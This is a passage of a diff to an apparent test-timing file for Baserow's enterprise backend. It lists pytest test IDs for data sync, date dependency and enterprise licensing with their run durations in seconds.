"baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_create_data_sync_table_invalid_access_token": 0.0950697069929447, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_create_data_sync_without_license": 0.10421995798242278, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_get_data_sync_properties": 0.09817029302939773, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_sync_data_sync_table": 0.21713516599265859, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_sync_data_sync_table_is_equal": 0.20153041696175933, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_sync_data_sync_table_pagination": 0.1744828340015374, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_sync_data_sync_table_without_license": 0.14347445897874422, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_async_sync_data_sync_table_without_license": 0.4115583330276422, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_personal_access_token": 0.18084720798651688, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table": 0.15419762500096112, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table_invalid_auth": 0.1423891250451561, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table_jira_error_message": 0.1565881250135135, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table_jira_not_updated_twice": 0.43026137398555875, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table_pagination": 0.4385814590204973, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_table_with_project_key": 0.27720691700233147, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_create_data_sync_without_license": 0.09879229200305417, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_get_data_sync": 0.15375337499426678, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_get_data_sync_properties": 0.09844683401752263, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_sync_data_sync_table": 0.33754283300368115, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_sync_data_sync_table_empty_issue": 0.2643555820104666, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_sync_data_sync_table_personal_access_token": 0.1977909590350464, + "baserow_enterprise_tests/data_sync/test_jira_issues_data_sync.py::test_sync_data_sync_table_without_license": 0.1525338750507217, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_async_sync_data_sync_table_without_license": 0.41056491699418984, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_change_source_table_with_changing_synced_fields": 0.3000604579865467, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_table": 0.5333117080153897, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_table_table_does_not_exist": 0.10540829200181179, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_table_without_access_to_source_table": 0.1101402910426259, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_via_api_no_access_to_source_table": 0.16733058300451376, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_view_does_not_belong_to_table": 0.14505858399206772, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_view_does_not_exist": 0.14544141798978671, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_with_view_provided": 0.19105899895657785, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_create_data_sync_without_license": 0.1259788750030566, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_get_data_sync_properties": 0.14368470798945054, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_get_data_sync_properties_no_access_to_source_table": 0.1251365419884678, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_get_data_sync_properties_source_table_does_not_exist": 0.09917812599451281, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_get_properties_with_table_view_id_none": 0.1330806259647943, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_get_properties_with_view_provided_only_public_fields": 0.16282066598068923, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_import_export_duplicate_table": 0.2737110009766184, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_import_export_excluding_source_table": 0.25725345898536034, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_import_export_including_source_table": 0.2824205420038197, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_source_table_view_deleted": 0.18816200000583194, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table": 0.23236395796993747, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_authorized_user_is_none": 0.17138087397324853, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_authorized_user_is_set": 0.2434212919906713, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_is_equal": 7.572191749990452, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_no_access_authorized_user": 0.23433587499312125, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_single_select_field": 0.24220958197838627, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_single_select_field_and_making_changes": 0.551183832983952, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_single_select_get_metadata_create": 0.13443375000497326, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_single_select_get_metadata_delete": 0.35240499998326413, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_single_select_get_metadata_update": 0.13368916700710543, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_source_table_deleted": 0.16303879203042015, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_with_interesting_table_as_source": 6.965591875021346, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_with_view_provided_having_filter_and_sort": 0.2455411249829922, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_sync_data_sync_table_without_license": 0.1654696259938646, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_table_model_is_data_synced_table": 0.16289929195772856, + "baserow_enterprise_tests/data_sync/test_local_baserow_table_data_sync_type.py::test_table_with_trashed_synced_field": 0.28519241797039285, + "baserow_enterprise_tests/data_sync/test_periodic_data_sync_notification_types.py::test_webhook_deactivated_notification_can_be_render_as_email": 0.37319470799411647, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_create_row_in_postgresql_table": 0.5012960000021849, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_delete_row_in_postgresql_table": 0.562517708982341, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_skip_delete_row_in_postgresql_table_if_unique_primary_is_empty": 0.5344987919961568, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_skip_update_row_in_postgresql_table_if_unique_primary_is_empty": 0.5066230419906788, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_update_row_in_postgresql_table": 0.5319563749944791, + "baserow_enterprise_tests/data_sync/test_postgresql_data_sync.py::test_update_row_in_postgresql_table_with_multiple_primary_keys": 0.5026490839954931, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_create_two_way_data_sync_strategy_without_enterprise_license": 0.3756360840052366, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_two_way_sync_consecutive_failures_are_reset_on_success": 0.5359619180089794, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_two_way_sync_is_deactivated_after_consecutive_failure": 0.5662808759952895, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_two_way_sync_is_notified_after_retries": 0.5119512920209672, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_two_way_sync_update_without_valid_license": 0.48691995901754126, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_update_row_is_retried_on_sync_error": 0.5222015000181273, + "baserow_enterprise_tests/data_sync/test_realtime_push_two_way_sync_strategy.py::test_update_two_way_data_sync_strategy_without_enterprise_license": 0.39708883402636275, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data0-child_data0-True-expected_child_data0]": 0.012943750043632463, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data1-child_data1-False-expected_child_data1]": 0.01274216698948294, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data2-child_data2-True-expected_child_data2]": 0.012754165974911302, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data3-child_data3-False-expected_child_data3]": 0.013300749007612467, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data4-child_data4-False-expected_child_data4]": 0.013689125014934689, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data5-child_data5-False-expected_child_data5]": 0.013552626012824476, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_child[parent_data6-child_data6-False-expected_child_data6]": 0.013520542008336633, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_end_date[2025-01-05-duration0-None-True]": 0.012750958005199209, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_end_date[2025-01-05-duration1-2025-01-05-True]": 0.012658792024012655, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_end_date[2025-01-05-duration2-2025-01-12-True]": 0.012706166977295652, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_end_date[2025-01-10-duration3-2025-01-17-True]": 0.012816874019335955, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data0-child_data0-True-expected_parent_data0]": 0.01278999901842326, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data1-child_data1-True-expected_parent_data1]": 0.012858542002504691, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data2-child_data2-False-expected_parent_data2]": 0.01281916699372232, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data3-child_data3-False-expected_parent_data3]": 0.012786250008502975, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data4-child_data4-False-expected_parent_data4]": 0.0133642089786008, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_parent[parent_data5-child_data5-False-expected_parent_data5]": 0.012826959020458162, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_start_date[2025-01-05-duration0-None-True]": 0.012902750022476539, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_start_date[2025-01-05-duration1-2025-01-05-True]": 0.012922750000143424, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_calculate_start_date[2025-01-13-duration2-2025-01-05-True]": 0.012727625027764589, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calc_cache": 0.01264741798513569, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values0-new_values0-None-True]": 0.012736206990666687, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values1-new_values1-expected_result1-True]": 0.012738001008983701, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values10-new_values10-expected_result10-True]": 0.01272099997731857, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values11-new_values11-expected_result11-True]": 0.012719582999125123, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values12-new_values12-expected_result12-True]": 0.012855791952461004, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values13-new_values13-expected_result13-True]": 0.012833582964958623, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values14-new_values14-expected_result14-True]": 0.012509248976130038, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values15-new_values15-expected_result15-True]": 0.012751667003612965, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values16-new_values16-expected_result16-True]": 0.01275670898030512, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values17-new_values17-expected_result17-True]": 0.012772167014190927, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values18-new_values18-expected_result18-True]": 0.013428417005343363, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values19-new_values19-expected_result19-True]": 0.012641998997423798, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values2-new_values2-expected_result2-True]": 0.012875542015535757, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values20-new_values20-expected_result20-True]": 0.014549625018844381, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values3-new_values3-expected_result3-True]": 0.012687915994320065, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values4-new_values4-expected_result4-True]": 0.012928791024023667, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values5-new_values5-expected_result5-True]": 0.012663124012760818, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values6-new_values6-expected_result6-True]": 0.012810417014406994, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values7-new_values7-expected_result7-True]": 0.012700834980932996, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values8-new_values8-expected_result8-True]": 0.012826165999285877, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculations[old_values9-new_values9-expected_result9-True]": 0.012804917030734941, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_dependency_calculator_field_value": 0.012657873012358323, + "baserow_enterprise_tests/date_dependency/test_date_dependency_calculations.py::test_date_values_fields_api": 0.013001415994949639, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_create_rule": 0.16364970899303444, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_create_rule_and_populate_rows[True-expected0]": 0.21037729200907052, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_create_rule_no_duplicate": 0.1343645419983659, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_create_rule_no_license": 0.12716270802775398, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_create_rule_serializer": 0.15862150001339614, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_validate_rule_after_field_change": 0.23629037500359118, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_handler_validate_rule_after_field_removed": 0.22006908303592354, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_update_cascade": 0.4617623330268543, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_update_cascade_multi_root": 0.4109451669792179, + "baserow_enterprise_tests/date_dependency/test_date_dependency_handler.py::test_date_dependency_update_cascade_multi_root_and_leaf": 0.44061358299222775, + "baserow_enterprise_tests/enterprise/test_enterprise_installed.py::test_enterprise_app_installed": 0.02479808303178288, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_anonymous_user_data_enables_enterprise_features_instance_wide": 0.1162168740411289, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_anonymous_user_data_has_no_enterprise_license_when_not_active": 0.13578987400978804, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_can_query_for_summary_per_workspace": 0.303308456990635, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_can_restore_a_workspace_with_rbac_enabled": 0.12715454198769294, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_add_all_users_to_seats_in_enterprise_version": 0.18127412602188997, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_add_seats_to_enterprise_version": 0.1818323750339914, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_remove_all_users_from_seats_in_enterprise_version": 0.18269229101133533, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_remove_seats_from_enterprise_version": 0.1757459590153303, "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_check_licenses_with_enterprise_license_sends_seat_data": 0.15146116699906997, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_complex_free_vs_paid_scenario": 0.524807375999444, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enabling_enterprise_user_data_gets_enterprise_features_instance_wide": 0.25499745799970697, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_features_will_be_active_instance_wide_when_enterprise_active": 0.3692782919997626, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_features_will_not_be_active_instance_wide_when_enterprise_not_active": 0.2717343329995856, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_being_registered_sends_signal_to_all": 0.2548508319996472, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_being_unregistered_sends_signal_to_all": 0.2675554179995743, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_counts_viewers_as_free": 0.533624583999881, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_settings_feature_allow_co_branding_in_emails": 0.31102333400031057, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_dont_get_features_if_license_inactive": 0.28090516599877446, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_not_assigned_a_seat_dont_get_features_if_license_not_active": 0.27244521000011446, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_not_assigned_a_seat_still_get_enterprise_features": 0.25807904199973564, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_inactive_user_in_team_with_paid_role_is_free": 0.2664624580002055, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_inactive_user_with_paid_role_is_free": 0.26437450100002025, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_license_user_user_data_has_no_enterprise_license_when_not_active": 0.27269654200063087, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_missing_roles_doesnt_cause_crash_and_members_admins_are_treated_as_non_free": 0.37826379200123483, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_order_of_roles_is_as_expected": 0.32078462399931595, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_orphaned_paid_role_assignments_dont_get_counted": 0.260759459001747, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_random_user_data_enables_enterprise_features_instance_wide": 0.39210458299930906, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_random_user_user_data_has_no_enterprise_license_when_not_active": 0.40633395799977734, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_data_no_enterprise_features_instance_wide_not_active": 0.2691386659998898, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_deactivated_user_is_not_counted_as_a_paid_user": 0.3977694170007453, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_deleted_team_with_paid_role_is_free": 0.27384949899987987, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_team_with_role_paid_on_trashed_database_is_free": 0.26366933200006315, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_team_with_role_paid_on_trashed_table_is_free": 0.26583995900000446, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_marked_for_deletion_is_not_counted_as_a_paid_user": 0.3943913340008294, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_summary_calculation_for_enterprise_doesnt_do_n_plus_one_queries": 0.4077993750006499, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_to_be_deleted_in_team_with_paid_role_is_free": 0.2712777089991505, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_to_be_deleted_with_paid_role_is_free": 0.2618988320000426, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_who_is_editor_in_one_workspace_and_viewer_in_another_is_not_free": 0.3925731680001263, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_database_role_is_free": 0.27079808300095465, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_database_role_is_free_from_team": 0.2617692919993715, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_table_role_is_free": 0.26186800099912944, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_table_role_is_free_from_team": 0.27014891800081386, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_database_role_is_not_free": 0.2653242090009371, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_database_role_is_not_free_from_team": 0.26704733299993677, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_table_role_is_not_free": 0.26162966699939716, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_table_role_is_not_free_from_team": 0.2611802079991321, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_database_in_trashed_workspace_is_free": 0.481024666999474, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_trashed_database_is_free": 0.26558374899923365, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_trashed_table_is_free": 0.26551279200066347, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_team_and_user_role_picks_highest_of_either": 0.26510904200040386, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_weird_ras_for_wrong_workspace_not_counted_when_querying_for_single_workspace_usage": 0.25884304200008046, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_weird_workspace_user_permission_doesnt_break_usage_check": 0.25762454199957574, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_check_licenses_with_enterprise_license_sends_usage_data": 0.07506879200809635, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_complex_free_vs_paid_scenario": 0.290337541984627, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enabling_enterprise_user_data_gets_enterprise_features_instance_wide": 0.11386379101895727, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_features_will_be_active_instance_wide_when_enterprise_active": 0.17475062495213933, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_features_will_not_be_active_instance_wide_when_enterprise_not_active": 0.13711050001438707, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_being_registered_sends_signal_to_all": 0.11896158300805837, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_being_unregistered_sends_signal_to_all": 0.11467941699083894, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_license_counts_viewers_as_free": 0.28696633302024566, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_settings_feature_allow_co_branding_in_emails": 0.19154270898434334, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_dont_get_features_if_license_inactive": 0.1338630409736652, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_not_assigned_a_seat_dont_get_features_if_license_not_active": 0.1401794170087669, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_enterprise_users_not_assigned_a_seat_still_get_enterprise_features": 0.12665004099835642, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_inactive_user_in_team_with_paid_role_is_free": 0.14763558298000135, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_inactive_user_with_paid_role_is_free": 0.15011945797596127, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_license_user_user_data_has_no_enterprise_license_when_not_active": 0.13022604197612964, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_missing_roles_doesnt_cause_crash_and_members_admins_are_treated_as_non_free": 0.19098837496130727, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_order_of_roles_is_as_expected": 0.23480416598613374, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_orphaned_paid_role_assignments_dont_get_counted": 0.1306498339981772, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_random_user_data_enables_enterprise_features_instance_wide": 0.17422670900123194, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_random_user_user_data_has_no_enterprise_license_when_not_active": 0.20373970802756958, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_data_no_enterprise_features_instance_wide_not_active": 0.13469891602289863, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_deactivated_user_is_not_counted_as_a_paid_user": 0.21379475001594983, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_deleted_team_with_paid_role_is_free": 0.14244945801328868, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_team_with_role_paid_on_trashed_database_is_free": 0.14463899901602417, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_in_team_with_role_paid_on_trashed_table_is_free": 0.15468241699272767, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_marked_for_deletion_is_not_counted_as_a_paid_user": 0.20467245802865364, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_summary_calculation_for_enterprise_doesnt_do_n_plus_one_queries": 0.24989962700055912, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_to_be_deleted_in_team_with_paid_role_is_free": 0.1482937080145348, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_to_be_deleted_with_paid_role_is_free": 0.14692220895085484, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_who_is_editor_in_one_workspace_and_viewer_in_another_is_not_free": 0.2041942499927245, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_database_role_is_free": 0.14040504198055714, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_database_role_is_free_from_team": 0.14092408400028944, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_table_role_is_free": 0.14285062500857748, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_free_table_role_is_free_from_team": 0.14603545897989534, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_database_role_is_not_free": 0.1271178329770919, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_database_role_is_not_free_from_team": 0.14140425002551638, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_table_role_is_not_free": 0.1422431250102818, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_paid_table_role_is_not_free_from_team": 0.14437179203378037, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_database_in_trashed_workspace_is_free": 0.1477526659728028, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_trashed_database_is_free": 0.14585912399343215, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_role_paid_on_trashed_table_is_free": 0.14610395798808895, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_user_with_team_and_user_role_picks_highest_of_either": 0.14678004101733677, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_weird_ras_for_wrong_workspace_not_counted_when_querying_for_single_workspace_usage": 0.14834954103571363, + "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_weird_workspace_user_permission_doesnt_break_usage_check": 0.12253866801620461, "baserow_enterprise_tests/enterprise/test_enterprise_migrations.py::test_0010_migrates_groupusers": 11.050193258000263, "baserow_enterprise_tests/enterprise/test_enterprise_migrations.py::test_0010_with_no_role_and_no_access_mixed_role_assignments": 10.83386937499995, 